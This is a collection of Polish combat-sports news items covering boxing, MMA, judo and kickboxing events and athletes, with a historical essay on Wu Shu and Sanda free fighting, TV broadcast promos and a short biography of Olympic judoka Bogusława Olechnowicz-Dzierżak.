Czterdzieste zwycięstwo w karierze Cotto okazało się faktem. Po raz trzydziesty trzeci Portorykańczyk zakończył walkę przed czasem. Co dalej? Przed Cotto staną kolejne wyzwania, pytanie – kto będzie kolejnym rywalem mistrza świata WBC? Coraz głośniej mówi się o rywalizacji Portorykańczyka z Giennadijem Gołovkinem.  Możliwe, że Cotto będzie chciał rewanżowej walki z Floydem Mayweatherem Jr. Każdy z tych scenariuszy gwarantuje walkę na najwyższym poziomie. Pytanie – czy Cotto wyjdzie na ring jeszcze w tym roku?

Fot. zdjęcie poglądowe

KM

Polsko-czeczeńska fuzja

Współpraca jest jednym z elementów, który pozwala  rozwijać się i zwiększać własny potencjał. Tą drogą postanowił iść Arrachion Olsztyn – jeden z najlepszych klubów MMA w Polsce.

Nie ulega wątpliwości, że trening czyni mistrza. A trenować wśród najlepszych to marzenie wielu. Istotnym elementem sportów walki jest nieustanna rywalizacja i doskonalenie swoich umiejętności, aby wejść na szczyt. Kolejne litry potu, ogromna ilość sparingów mają na celu jak najlepsze przygotowanie zawodnika do kolejnej walki. Arrachion Olsztyn na mapie polskich klubów MMA stał się miejscem kojarzonym z profesjonalizmem. Z warmińskim teamem związane są takie nazwiska jak Mamed Khalidov, Aslambek Saidov, Karol Celiński czy mistrzyni UFC Joanna Jędrzejczyk. Do miana sławy urosło nazwisko Pawła Derlacza, który trenuje gwiazdy. Małgorzata Bońkowska, Szymon Bońkowski czy Łukasz Porębski również potrafią perfekcyjnie przygotować zawodnika do pojedynku. Jednak Arrachion  nie zamyka się w swoim gronie, ale szuka możliwości zwiększenia swojego kapitału.

Od teraz klub, w którym na co dzień trenuje Mamed Khalidov będzie nazywał się Berkut Arrachion Olsztyn. Dlaczego? Olsztyński team podjął decyzję o fuzji z czeczeńskim Berkut Fight Club Grozny. Ciekawa inicjatywa, która obu stronom ma zapewnić możliwość rozwoju. Nie tylko na gruncie sportowym, ale również organizacyjnym. Z fuzji dwóch zespołów skorzystają zarówno zawodnicy jak i trenerzy. Dla fighterów jest to możliwość wspólnego uczestniczenia w obozach przygotowawczych. Ponadto, pojawia się szansa dostępu do większej ilości sparingpartnerów. Warto zauważyć, że dla polskiego zespołu jest to szansa spotkania się z twardymi fighterami. Powszechnie wiadomo, że zawodnicy ze wschodu należą do kategorii mocnych. Należy podkreślić fakt, że niejako Khalidov i Saidov przy okazji będą mieli okazję współpracować ze swoimi krajanami. Również na poziomie trenerskim pojawia się okazja do wymiany doświadczeń.

Głównym inicjatorem zapoczątkowania współpracy między klubami był Mairbek Khasiev. Właściciel gruzińskiej ekipy nie zamierza poprzestać na tym krokiem. Dla Khasieva zawiązanie współpracy z Arrachionem to dopiero początek. Zamierza on dalej rozwijać swoją potęgę i tworzyć kolejne filie klubu. Na jego celowniku znalazły się Stany Zjednoczone i Tajlandia. Czy Khasiev utworzy swoje mocarstwo?

Nie ulega wątpliwości, że owa inicjatywa jest działaniem, które może przynieść korzyści obu stronom. Potrzeba jest wola wspólnego działa, aby współpraca była aktywna, a nie bierna. Wtedy istnieje duże prawdopodobieństwa osiągnięcia sukces. Khasiev chce dokonać ekspansji swojej marki. Nie ma w tym nic złego. To jego cel, ale przy okazji współpraca drużyny z Groznego i Olsztyna może wydać owoce na polu zyskania doświadczenia przez zawodników i sztab trenerski. Być może w ten sposób na polski rynek trafią kolejni ciekawi fighterzy, którzy podniosą poziom rywalizacji w naszym kraju.

KM

Kadeci robią postępy

Czas biegnie. Turniej za turniejem, jednak są momenty wyjątkowe, kiedy dostrzega się szczególną wartość towarzyszącą wydarzeniom, w których się uczestnicy. W Bielsku – Białej odbędzie się Puchar Europy Kadetów w judo.

Cieszy, że kolejne tego typu zawody odbędą się w Polsce. Do naszego kraju zjadą najsilniejsze ekipy w judo, które postarają się zaprezentować najwyższy poziom. Ale nie tylko to jest powodem radości. Polska staje się krajem, który cieszy się coraz większym zaufaniem światowych władz. Po drugie, nasi kadeci nie są anonimowi i mogą pokusić się o medale. To jest piękne. Fakt, że nie użyczamy tylko przestrzeni, lecz możemy aktywnie uczestniczyć w rywalizacji i żywić nadzieje na sukces.

W tym sezonie siedmioro polskich judoków w kategorii kadetów cieszyło się z wywalczenia miejsca na podium w zawodach międzynarodowych. Bez wątpienia największy sukces odniosła Angelika Szymańska (57kg), która triumfowała w Zagrzebiu. Polka wygrała pięć pojedynków. W jednej z walk spotkała się z utytułowaną Białorusinką Ulyaną Minenkovą. Dobrą formę utrzymuje Barbara Kulik, która stanęła na podium dwukrotnie. W Fuengiroli sięgnęła po srebro, a w Teplicach po brąz. O krok od medalu była w Berlinie, ale ostatecznie nie udało się stanąć na podium. Dobry poziom utrzymuje Maciej Krogulski (73kg). Polski judoka był drugi w Hiszpanii, trzeci we Włoszech, a w Chorwacji uplasował się tuż za podium – był piąty. Z kolei Eryk Ryciak w Kluż-Napoca doszedł do finału, jednak w decydującej walce poległ. Mimo to srebrny medal jest dużym osiągnięciem młodego Polaka. Do grona medalistów w zawodach Pucharu Świata weszli Vannessa Machnicka (52kg) i Iwo Baranowski (81kg), którzy w Hiszpanii stanęli na trzecim miejscu podium. Z kolei Anna Dąbrowska (57kg) zdobyła brąz w czeskich Teplicach. Warto nadmienić, że Polacy zajmowali również punktowane miejsca w zawodach.

Teraz przed naszymi kadetami kolejne wyzwanie. Muszą pokazać się z jak najlepszej strony na własnym terenie. Czy Polacy powtórzą ubiegłoroczny wyczyn? Wtedy wywalczyli sześć medali. Szansę na powtórzenie swojego rezultatu w Bielsku-Białej będzie miała Anna Dąbrowska, która w tym sezonie pokazała już swoje bogate możliwości. Rok temu sięgnęła po srebrny medal, ale nie był to jedyny krążek tego koloru. Drugie miejsce w kategorii 52kg zajęła Klaudia Cieślik. Cztery brązowe medale zdobyli: Julia Kowalczyk -57 kg, Daria Tylmann +70 kg, Jakub Ozimek -90 kg i Bartłomiej Zawadzki +90 kg.

W Bielsku zapowiada się ciekawa rywalizacja, gdyż do Polski przyjadą mocne ekipy. Zgłoszono ponad pięciuset zawodniczek i zawodników z dwudziestu sześciu państw. W Polsce zjawią się Japończycy, którzy na każdych zawodach są w czołówce, a także Francuzi, Gruzini i Ukraińcy, czyli ekipy prezentujące wysoki poziom. Puchar Europy kadetów w Bielsku będzie dobrym przetarciem przed mistrzostwami Europy w Sofii. Polacy będą chcieli poprawić wynik z poprzedniego roku – czy ta sztuka im się uda?

Dwa dni w Bielsku z pewnością przyniosą wiele wrażeń. 6-7 czerwca, Bielsko Biała – Puchar Europy kadetów w judo.

KM

Po medale do Rimini

Puchar Świata w kickboxingu w Rimini – WAKO Bestfighter obchodzi swój jubileusz. Będzie to już dwudziesta edycja zawodów we włoskim mieście. Polacy postarają się, jak zawsze zresztą, o dobry wynik.

Do Rimini wybrała się dwudziestosiedmioosobowa kadra Polski. Mieszanka młodości, polotu i fantazji z doświadczeniem, rutyną i wytrwałością. Ciekawe połączenie, które ma gwarantować sukces. Zresztą należy pamiętać, że z każdych zawodów kadra Polski w kickboxingu zwykła przywozić worek medali.

Kickboxing rozwija się. W Polsce cieszy się coraz większą popularnością i trafia do świadomości społecznej. Nasi zawodnicy są gwiazdami światowego formatu. Jedni odnoszą sukcesy na poziomie amatorskim, inni starają się je łączyć z zawodowstwem, a kolejni zdobywają doświadczenie w Tajlandii.

Zawody w Rimini należą do  prestiżowych i dla wielu są wyzwaniem. To najstarszy i największy turniej na świecie, cieszący się ogromną popularnością. Najliczniej Polacy zaprezentują się w full contact, ale przed naszymi zawodnikami występy w kick light i low kick. Z pewnością z presją startu we Włoszech muszą zmierzyć się debiutanci: Mateusz Parat (67kg) i Michał Grzesiak (91kg). Obaj chcą sprawdzić swoje umiejętności w rywalizacji z fighterami ze świata, jednak zgodnie przyznają, że od medalu uciekać nie będą. Dobre wspomnienia z Włoch ma Mateusz Kubiszyn (86kg), który rok temu triumfował podczas zawodów w Lignano. Polski fighter liczy, że uda mu się powtórzyć sukces i odnieść triumf w Rimini. W tym roku z dobrej strony pokazał się w Dublinie, gdzie sięgnął po brąz. Na zdobycie kolejnych doświadczeń w kategorii 63,5kg liczy Jakub Pokusa. Rok temu w Rimini zajął 5.miejsce podczas mistrzostw świata juniorów. Kandydatami do medalu podczas włoskiego turnieju są Emilia Czerwińska, Jakub Kozera, Wojciech Peryt.

Warto zaznaczyć, że po raz pierwszy w programie włoskiej imprezy znalazła się formuła low kick. Tu należy bacznie obserwować Patryka Zaborowskiego, który walczy o miejsce w kadrze na mistrzostwa świata. Sukces może przybliżyć go do wyjazdu do Serbii.  W low kicku o medalu śmiało mogą myśleć nasze panie: Iwona Nieroda (56kg) i Marta Waliczek (60kg), które prezentują równą formą. W mistrzostwach Polski w Legnicy w K-1 obie sięgnęły po medale, tyle, że innego koloru. Nieroda musiała uznać wyższość Małgorzaty Dymus i zadowoliła się srebrem. Faworytem do  medalu jest Łukasz Kaczmarczyk (71kg), który dobrze wszedł w ten sezon. Polak triumfował w Otwartym Pucharze Bośni i Hercegowiny. Tylko Piotr Wypchał (94kg) będzie rywalizował w kick light. Polak musi na siebie uważać, gdyż wraca po kontuzji. Wypchał naderwał mięsień dwugłowy, jednak na tyle uporał się z kontuzją, że w Rimini może wystąpić.

W Rimini wystartuje dwudziestu siedmiu reprezentantów Polski. Pytanie – ile medali przywiozą? Bo, że przywiozą to wiadomo już przed startem.

KM

Kto dla Pudziana?

Mariusz Pudzianowski ma być jedną z gwiazd gali KSW, która odbędzie się w Londynie. Akcje „Pudziana” po ostatniej walce skoczyły do góry.

Dla wielu były strongman nadal jest celebrytą, który bawi się w mieszane sztuki walki i jego nazwisko ma być magnesem. Warto zauważyć, że z upływem czasu Pudzianowski zaczął robić ustawiczne postępy, które są widoczne.

Gracie w szoku

„Pudzian” dojrzewał i uczył się MMA. Pierwsze walki 38-latka pokazywały, że czeka go dużo pracy. Zarówno pod względem sportowym, technicznym jak i kondycyjnym. „Pudzian”, który wychodził do drugiej rundy wyglądał jakby przerzucił pięć ton węgla w godzinę. Czas pracował na korzyść zawodnika. Raczej on sam wykonał krok, który pomógł mu odnaleźć się w oktagonie. Daleko jeszcze do tego, aby Pudzianowskiego określać mianem fachowca, ale jest już solidnym zawodnikiem. Zaangażował się w treningi i repertuar jego zagrań znacząco powiększył się. W parterze królem nie jest i raczej nie będzie, ale jego postawa w stójce i siła ciosu są atutem.

Walki z Sappem czy Piliafasem miały przyciągnąć uwagę publiczności. Zwłaszcza rywalizacja z Amerykaninem, który robił ogromne zamieszanie i chciał wzbudzić jak największe zainteresowanie swoją osobą. Kolejnym rywalem „Pudziana” był Sean McCorkle i od tego momentu zaczęły się zmiany. Pierwszy pojedynek z Amerykaninem Polak przegrał, ale wziął na nim rewanż i od tego czasu jest niepokonany. Warto zaznaczyć, że „Pudzian” popracował nad kondycją, bo kolejne pojedynki toczył na pełnym dystansie i o wszystkim decydowali sędziowie. Wielkie emocje w Polsce wzbudził bój z Pawłem Nastulą, w którym nie zabrakło zwrotów akcji. Pudzianowski wygrał z mistrzem olimpijskim, czym zaskoczył wielu, a jednocześnie udowodnił, że ciężka praca popłaca. Ręce do oklasków składały się po walce z Rollesem Gracie. „Pudzian” w zaledwie dwadzieścia siedem sekund położył swojego rywala. Mocny cios, czysto wyprowadzony zamroczył Brazylijczyka, który padł jak rażony gromem. Zachwytom nie było końca.

Teraz Anglia

Pudzianowski będzie jedną z gwiazd KSW 33. W Londynie Polaka czeka kolejne wyzwanie w karierze i będzie miał okazję udowodnić, że ostatnie jego sukcesy nie są dziełem przypadku. Nie wiadomo, z kim „Pudzian” stoczy pojedynek. Pojawia się głosy, że będzie to doświadczony zawodnik z Anglii. Pierwsze przypuszczenia wskazują na Philipa de Friesa, który ma za sobą występy w UFC. W najlepszej organizacji mieszanych sztuk walki stoczył pięć pojedynków, z których dwa zapisał po stronie wygranych. Anglik w swojej karierze walczył już z zawodnikiem z Polski. Łukasz Parobiec musiał uznać wyższość de Friesa. Czy Pudzianowski w Londynie stanie właśnie naprzeciw 29-latka?

Na gali KSW w Anglii zaprezentują się również Marcin Różalski oraz Mateusz Gamrot.

Kułak wraca w Częstochowie

Podczas ostatniej gali KSW doświadczony fighter zdradził, że pojawi się w oktagonie. W Częstochowie Krzysztof Kułak ma wystąpić w kategorii półśredniej, a jako jego rywala przedstawia się Macieja Jewtuszko. Z pewnością byłoby to ciekawe starcie. Zwłaszcza, że obaj przegrali swoje ostatnie pojedynki. „Irokez” podczas KSW 31 poniósł klęski w starciu z Kamilem Szymuszowskim.

KM

Niepokonany naprzeciw niepokonanego

Przed Robertem Parzęczewskim kolejne wyzwanie w jego zawodowej karierze. Popularny „Arab” 19 czerwca wystąpi na gali „BudWeld Boxing Night” w Ostrowcu Świętokrzyskim.

Bokser konsekwentnie realizuje swoje plany i buduje pozycję w wadze półciężkiej. Do tej pory stoczył osiem pojedynków – wszystkie wygrał. W marcu w Lubinie zmierzył się z Farouckiem Dahu w ośmiorundowym starciu. Parzęczewski zdecydowanie wygrał na punkty i po raz trzeci w karierze miał okazję rywalizować na takim dystansie. Polak przeważnie walczył w starciach cztero- i sześciorundowych, także pojedynek ośmiorundowy był swego rodzaju wyzwaniem dla pięściarza. Parzęczewski robi postępy i ma bogate marzenia.

21-letni bokser otwarcie przyznaje, że chciałby zostać mistrzem świata przed ukończeniem 25. roku życia, co jest poważną deklaracją. Ponadto, Parzęczewski myśli o zmianie kategorii – na super średnią. Plany polskiego pięściarza są bogate, ale niestety należy pamiętać, że nie wszystko zależne jest od jego umiejętności. W boksie na sukces składa się wiele elementów. Jednym z nich są umiejętności czysto sportowe, ale trzeba uwzględnić również warunki, posiadanie sponsora oraz zdrowie. Gdy te wszystkie elementy zostaną połączone wtedy osiągnięcie zamierzonych celów staje się możliwe. Czy tak będzie w przypadku Parzęczewskiego?

Polak musi konsekwentnie robić swoje. Nie pozostaje mu nic innego jak ciężki trening i kolejne walki, w których musi prezentować odpowiedni poziom. W czerwcu w Ostrowcu Świętokrzyskim Parzęczewski stanie naprzeciw Jessy’ego Luxembourgera. 25-letni Francuz dotychczas stoczył sześć pojedynków i wszystkie wygrał. W swojej ostatniej walce pokonał pięściarza, który na swoim koncie miał ponad trzydzieści porażek. Trudno cokolwiek powiedzieć na temat potencjału Luxembourgera. Francuz z pewnością przyjedzie do Polski po wygraną, a będzie to jego pierwsza bokserska podróż do innego kraju. Parzęczewski stanie przed kolejnym wyzwaniem, ale ma przewagę. Po pierwsze, walczy na swoim terenie, a po drugie – w swojej karierze rywalizował z zawodnikami z innych krajów. Ten drugi powód wydaje się o tyle cenny, że Polak poznał inne kultury i sposoby rywalizacji. Francuz do tej pory był zamknięty we własnym kręgu, więc może mieć trudności z odnalezieniem się.

Parzęczewski aktywnie trenuje i przygotowuje się do rywalizacji z najbliższym rywalem. W Dzierżoniowie sparuje z Mateusz Rzadkoszem i Michałem Gerleckim. Do pojedynku zostały dwa tygodnie, więc przez 21-letni pięściarzem ostatnia prosta. Parzęczewski musi być przygotowany na najtrudniejsze wyzwanie w swojej karierze. Polak ma określone cele i wie, co chce osiągnąć, dlatego już teraz musi podjąć stanowcze kroki na drodze do realizacji swoich założeń. Nie pozostaje nic innego jak wyjść do ringu i wygrać. Efektywność jest jedną z dróg do wielkiej kariery, czyli znalezienia sponsora oraz otwierania kolejnych drzwi. Jak to mówią – i niech zdrowie będzie. Wtedy wszystko się ułoży. A teraz niech Parzęczewski przełoży słowa w czyn.

Fot. polski-sport.pl

KM

 

O Wu Shu opowiada Dariusz Piwowarski

Chiny są kolebką wielu, niektórzy teoretycy twierdzą, że kilkuset styli Wu Shu, z których kilkanaście przetrwało do dzisiaj i są nauczane w wersji tradycyjnej zgodnej z przekazem twórców lub zmienione i dostosowane do potrzeb zawodów sportowych jak nowoczesne Wu Shu. Wolna walka Sanshou pomimo tego, że wchodzi w skład zawodów sportowych, a więc poddaje się określonym przepisom regulującym zasady przebiegu walk to wywodzi się z walk na platformie Leitai, których podstawowym przepisem była zasada „żadnych zasad”. Cały czas używane jest pojęcie platformy, a oznacza ono podest o różnej wysokości i powierzchni w zależności od prowincji w której walki się odbywały. Zwykle były to podesty o wysokości kilku metrów dookoła których wbijano ostro zakończone bambusy. Walka trwała do chwili, aż któryś z zawodników zrzucał z niego przeciwnika dowolną techniką. Efekt toczonego boju kończył się zwykle śmiercią. Walki takie toczono również przy użyciu różnego rodzaju broni, np. włóczni, szabli, itd., w których zawodnicy biorący udział byli ekspertami. Chociaż walki takie były rozgrywane na śmierć i życie spełniały jednak rolę rozrywki dla cesarzy, lokalnych władców oraz ludności wśród której cieszyły się wielką popularnością. Służyły też władcom do pozyskiwania najlepszych ekspertów, których następnie zatrudniano do ochrony osobistej i tworzono tzw. gwardię przyboczną, której idea przetrwała do czasów dzisiejszych. Walki na platformie rozstrzygały często całe bitwy, ponieważ dowódcy przeciwnych armii spotykali się w bezpośrednim pojedynku. Walki takie były również wykorzystywane do rozstrzygania bitew między całymi armiami, ponieważ dowódcy toczyli pojedynki na nich zamiast przelewać krew swoich żołnierzy. Innym sposobem wykorzystywania tego typu walk była rywalizacja Mistrzów Szkół Wu Shu, które działały w tej samej prowincji lub miejscowości. Prowadzący szkołę nauczyciel musiał startować w zawodach na platformie, przyjmując tym samym wyzwanie innego nauczyciela co kończyło się zwykle przejęciem uczniów i szkoły przez wygranego. Przeniesieniem tradycji tych walk do czasów współczesnych są walki sportowe Sanshou. Platformę obniżono do wysokości 80 cm i ustalono jej powierzchnię do wymiarów 8m x 8m oraz obłożono ją grubymi materacami, zabezpieczającymi zawodników przed upadkiem poza nią. Zasób technik umożliwiających prowadzenie walki zawiera techniki ręczne, nożne, rzuty, podcięcia oraz wypchnięcia poza platformę walki. W 1990 roku Międzynarodowa Federacja Wu Shu opracowała przepisy regulujące zasady rozgrywania i organizowania zawodów wolnej walki, które obowiązują z pewnymi zmianami do dzisiaj i na podstawie których odbywają się wszystkie zawody rangi Mistrzostw Świata i Europy oraz nasze zawody krajowe organizowane przez Polski Związek Wu Shu. Zmiany w regulaminie, które nastąpiły w ciągu kilku lat dotyczą tylko niewielkiej części przepisów i nie powodują konieczności zmian w przygotowaniach zawodników. Wydaje się więc, że stosunkowo nowa dyscyplina sportowa, którą jest wolna walka Sanda, zawiera w sobie przekaz sztuki tradycyjnej mającej za sobą wielowiekową historię.

W związku z przyznaniem Pekinowi organizacji Igrzysk Olimpijskich w 2008 r. wiele się mówiło o włączeniu Wu Shu do programu tej imprezy jako dyscypliny medalowej. Wu Shu nie jest obecnie w gronie dyscyplin oczekujących wejścia do rodziny Sportów Olimpijskich W Pekinie odbył się turniej pokazowy, w którym wziął udział nasz zawodnik Andrzej Topczewski, podczas którego zawodnicy otrzymali medale olimpijskie. Rywalizacja odbyła się w następujących konkurencjach:

 

  • Formy ręczne mężczyzn: północne (changchuan) i południowe (nanchuan)
  • Formy mężczyzn z kijem: północne (gunshu) i południowe (nangun)
  • Formy mężczyzn z szablą: północne (daoshu) i południowe (nandao)
  • Formy ręczne kobiet: północne (changchuan) i południowe (nanchuan)
  • Formy kobiet z bronią: miecz północny (jianshu) i włócznia (qiaoshu)
  • Walki Sanda

 
Międzynarodowa Federacja Wu Shu organizuje kilku lat profesjonalne turnieje wolnej walki na które zapraszani są czterej najlepsi zawodnicy zajmujący czołowe miejsca podczas zawodów rangi mistrzowskiej. Formułą bardzo zbliżoną do Sanda jest Muay Thai oraz formuła K1. Walczyć więc mogą i chcą Wielcy Zawodnicy Sanda, Muay Thai i K1. Mają one oprawę największych turniejów formuły K-1, odbywających się corocznie w Japonii.

Historia konkurencji wolnej walki Sanda w naszym kraju liczy prawie 30 lat, bowiem w połowie lat 80-tych powstały pierwsze sekcje, w których rozpoczęto treningi pod kątem zawodów sportowych – według przepisów międzynarodowych.
W połowie lat 80-tych istniało w naszym kraju kilkanaście ośrodków zajmujących się uprawianiem chińskich sztuk walki Kung Fu/Wu Shu, w których praktykowano je w sposób tradycyjny. Głównym celem ich działalności były samodoskonalenie ćwiczących oraz propagowanie sztuk walki w aspekcie zdrowotnym i kształtującym wysoką sprawność fizyczną. Pojawiły się jednak propozycje organizowania (oprócz warsztatów instruktorskich), zorganizowanych form współzawodnictwa w konkurencji form oraz walk, opartych na regulaminach opracowanych przez głównych instruktorów. Pozyskanie przepisów stosowanych przez Europejską Federację Wu Shu (EWuF), opracowanych ma Mistrzostwa Europy, umożliwiło wprowadzenie jednolitych i zgodnych z wymogami organizacji międzynarodowych zasad rozgrywania zawodów krajowych. Pierwsze zawody ogólnopolskie w programie których znalazło się sanshou (wcześniej stosowana nazwa) odbyły się w Słupsku w 1989r i stanowiły jednocześnie kwalifikacje do reprezentacji Polski Polskiego Zrzeszenia Kung Fu/Wu Shu na Mistrzostwa Europy w Sztokholmie. Pomimo działań Rady Instruktorów Wu Shu, zmierzających do propagowania wolnej walki, należy stwierdzić, że tradycyjna metodyka prowadzenia szkolenia w sekcjach nie pozwalała na przygotowanie zawodników do rywalizacji międzynarodowej, a zwłaszcza z Azji. Dlatego też, część ośrodków wydzieliła w swoich strukturach grupy zawodników przygotowujących się do zawodów sportowych lub podjęła współpracę z klubami kick-boxingu, w których dodatkowo trenowali i mieli możliwość startowania w zawodach. Bardzo częsta była praktyka pozyskiwania zawodników z innych sportów walki, a przede wszystkim zapasów oraz kick-boxingu. Ten sposób był powszechny w wielu krajach, a zwłaszcza byłego Związku Radzieckiego, ponieważ przynosił bardzo szybkie efekty w postaci medali na ważnych zawodach. Tylko zawodnicy chińscy szkoleni byli w sposób specjalistyczny, a ponadto stworzone regulaminy, obowiązujące na zawodach organizowanych przez IWUF, a później i inne organizacje, predysponowały ich do zajmowania czołowych miejsc. W okresie kilku lat inne kraje azjatyckie, a także europejskie (Rosja, Rumunia, Szwecja, Francja), wspomagane przez własne władze sportowe, prowadziły systematyczne szkolenie swoich zawodników, co spowodowało zmniejszenie dystansu jaki je dzielił od poziomu azjatyckiego. W związku z powyższym, osiągnięcia naszych zawodników, którzy przygotowywali się do zawodów i wyjeżdżali na nie za własne pieniądze (dotyczy to również trenerów), a następnie musieli leczyć nabyte kontuzje we własnym zakresie, należy postrzegać w zupełnie innym świetle. Niestety w tamtym okresie i w chwili obecnej w naszym kraju Związki sportowe nie olimpijskich, są dotowane w bardzo ograniczonym zakresie, bez względu na osiągnięcia medalowe podczas zawodów mistrzowskich. Dzięki własnemu zapałowi, pomocy rodzin oraz nielicznych, ale niezbędnych sponsorów zawodnicy wchodzący w skład Kadry Polski Polskiego Zrzeszenia Wu Shu (wcześniej Kung Fu / Wu Shu), uczestniczyli od 1989r. z sukcesami w najważniejszych zawodach rangi mistrzowskiej oraz wielu turniejach. Pierwszymi zawodami w których wzięli udział nasi zawodnicy były III Mistrzostwa Europy, które odbyły się w Sztokholmie w 1989 r., podczas których zawodnicy Marek Sajdak oraz Dariusz Górecki zdobyli tytuły wicemistrzów Europy. Dwa lata później odbyły się I Mistrzostwa Świata Wu Shu w Pekinie, na których polscy zawodnicy Sanshou zajęli trzy piąte miejsca.

Pierwsze lata rozwoju to zdecydowana dominacja zawodników z Azji, a zwłaszcza z Chin, które były kolebką tej dyscypliny. Rosnąca popularność wolnej walki przyczyniła się do rozwoju tej dyscypliny w krajach europejskich. Szczególnie wyróżniali się zawodnicy z Rosji, Rumunii, Szwecji, Hiszpanii, Francji. Miało to bezpośredni związek z systemem organizacyjnym Wu Shu w tych krajach, a przede wszystkim pomocą ze strony władz sportowych. Wspomniany był fakt werbowania do Sanshou zawodników doświadczonych z innych sportów walki. Działania takie wymagały jednak nakładów finansowych ponieważ zawodnicy ci wymagali zapewnienia im odpowiednich warunków. Innym sposobem było zatrudnianie trenerów chińskich lub wysyłanie zawodników na szkolenie do instytutów w Chinach. Nie trzeba jednak dodawać, że działania takie również wymagały pokaźnych funduszy. Wieloletnie systematyczne szkolenie kadry umożliwiło osiągnięcie bardzo wysokiego poziomu sportowego zawodników, a ponadto wypracowanie własnych metod treningowych opartych na najlepszych wzorcach, umożliwiających w chwili obecnej rywalizowanie na równym poziomie z zawodnikami azjatyckimi (głownie chińskimi i koreańskimi). Zawody zdominowane były w ciągu kilku lat przez rywalizacją zawodników azjatyckich i europejskich, choć widoczni byli również zawodnicy Iranu, Kazachstanu, Mongolii, mający trenerów chińskich. Biorąc pod uwagę wszystkie te fakty, należy powiedzieć, że zawodnicy i instruktorzy polscy dysponujący mizernymi możliwościami finansowymi i korzystający okazjonalnie z porad trenerów chińskich odnosili znaczące sukcesy – oczywiście proporcjonalnie do możliwości. Pewnym ograniczeniem w rozwoju konkurencji był regulamin IWuF określający, że każdy kraj mógł wystawić swoich zawodników tylko w 5 kategoriach wagowych, a ponadto nie było walk kobiet. Kolejne lata przyniosły wyraźne wyrównywanie poziomu sportowego zawodników, ze względu ich specjalizację i wprowadzenie odrębnego systemu szkolenia w walkach. Regulamin zawodów umożliwia stosowanie wielu technik, spotykanych w innych sportach walki, ale możliwość łączenia ich w jednej formule powoduje to, że Sanda w wykonaniu zawodników dobrze wyszkolonych technicznie jest niezwykle widowiskowa i emocjonująca. Konkurencje walk kobiet wprowadzono dopiero podczas Mistrzostwach Świata Wu Shu w Macao w 2003r. Poziom zawodów stale wzrastał również z uwagi na przyznanie Pekinowi prawa organizacji Igrzysk Olimpijskich w 2008 r. Środowisko związane z tą dyscypliną miało nadzieję na zaprezentowanie się na najważniejszych zawodach sportowych, podobnie jak miało to miejsce z Taekwondo organizacji WTF w Seulu. Wzrasta liczba międzynarodowych turniejów i zawodów mistrzowskich. Obok walk pełnokontaktowych Sanda wprowadzono system walk Qingda w lekkim kontakcie rozgrywanych od I Mistrzostw Europy Wu Shu Tradycyjnego, które odbyły się w kwietniu br w Tallinie. Podczas zawodów organizowanych przez Polski Związek Wu Shu walki qingda odbywają się w kategoriach juniorów i seniorów, natomiast walki Sanda w kategoriach juniorów od 15 lat i seniorach. Międzynarodowa Federacja Wu Shu organizuje od kilku lat Puchary Świata w Sanda, na które zapraszani są najlepsi zawodnicy z mistrzostw świata, , którzy otrzymujący za walki nagrody pieniężne. Profesjonalizacja turniejów Sanda dotyczy nagród finansowych dla zawodników, a także oprawy i organizacji turniejów.

Autor: Dariusz Piwowarski

[kod]

Janik kontra Drozd w FightKlubie!

W środę od godziny 22:00 pokażemy w FightKlubie wielką galę z Moskwy. W głównej walce wieczoru zobaczymy starcie o mistrzostwo świata WBC w wadze junior ciężkiej. Łukasz Janik po świetnym, choć przegranym występie przeciwko Oli Afolabim otrzymał szansę walki o tytuł z Grigorijem Drozdem. Dzierżący mistrzostwo świata WBC w limicie 200 funtów Rosjanin charakterystyczny zielony pas zdobył po jednostronnym zwycięstwie nad Krzysztofem “Diablo” Włodarczykiem. Wcześniej w podobnym stylu pokonał także Mateusza Masternaka. Ostatnie zwycięstwa wyniosły Drozda na szczyt rankingu kategorii cruiser. W innej walce w kategorii junior ciężkiej, złoty medalista olimpijski Rahim Czakijew, po ciężkiej porażce z rąk Krzysztofa Włodarczyka, zmierzy się z niepokonanym Amerykaninem Anthonym Wrightem.
Gala z Moskwy w środę od 22:00 w FightKlubie!

Źródło: materiały prasowe

Zwiastun: [kod]

Jayson Velez – Daniel Ramirez w cyklu LA Fight Club

Na antenę FightKlubu powraca cykl bokserski „LA Fight Club”. Imprezę organizowaną przez Golden Boy Promotions Oscara De La Hoyi uświetni zestawienie rywalizujących ze sobą bokserskich potęg – Portoryko i Meksyku. W głównej walce wieczoru zobaczymy na żywo starcie w kategorii super piórkowej pomiędzy Jaysonem Velezem (22-0-1, 16 KO) z Caguas i Danielem Ramirezem (11-2, 5 KO) z meksykańskiej Tijuany.

Niepokonany w 22. walkach „La Maravilla” Velez w ostatnim pojedynku zremisował z byłym już mistrzem świata IBF w kategorii piórkowej Jewgienijem Gradowiczem.Pochodzący z bogatej w bokserskie tradycje Tijuany, Daniel Ramirezw ostatnim pojedynku uległ przed czasem Ericowi Hunterowi na gali w Atlantic City. Ma dobrą okazję, by zmazać tę porażkę ze swojego rekordu szczególnie, że konfrontacje portorykańsko-meksykańskie cieszą się zawsze niesamowitą popularnością i niosą ze sobą dodatkowy ‘’smaczek”.

Na transmisję gali z Belasco Theater w Los Angeles zapraszamy w nocy z czwartku na piątek od godziny 04:00. Powtórka w piątek od 11:30.

Źródło: materiały prasowe

Bogusława Olechnowicz-Dzierżak

Polska judoczka urodzona 22 listopada 1962 roku Słupsku. W 1979 roku ukończyła Zasadniczą Szkołę Ogrodniczą w Słupsku, zaś w 1985 roku Średnie Studium Społeczno-Prawne. Od 1978 roku jest judoczką klubu Gryf Słupsk, gdzie jej trenerem był Wiesław Hałaburda. Była siedmiokrotną mistrzynią polski: 5 razy w kategorii 61 kg, i 2 razy w kategorii open.  Była pierwszą  Polską zawodniczką, która zdobyła medal w judo na Mistrzostwach Europy. Łącznie zdobyła trzy złote medale na mistrzostwach Europy, zdobyła też brązowy medal mistrzostw świata. W 1988 roku uczestniczyła w Akademickich Mistrzostwach Świata w Tbilisi, z których przywiozła dwa brązowe medale.  W 1988 roku na Igrzyskach Olimpijskich w Seulu zdobyła brązowy medal, natomiast na kolejnej olimpiadzie odpadła w pierwszej rundzie. Karierę zawodniczą zakończyła w 1992 roku. Po zakończeniu kariery sportowej pracowała w Straży Miejskiej jako strażnik, obecnie zatrudniona jest w Szkole Policji w Słupsku jako wykładowca taktyki i techniki interwencji. W międzyczasie skończyła studia licencjackie, magisterskie i podyplomow. Ma męża i syna.  

Perenc i Konieczny z medalami na igrzyska

Po raz pierwszy będziemy świadkami Igrzysk Europejskich. Impreza będzie weryfikacją możliwość zawodników ze Starego Kontynentu na rok przed Rio de Janeiro. Dla wielu start w przyszłym roku w Brazylii może okazać się spełnieniem marzeń.

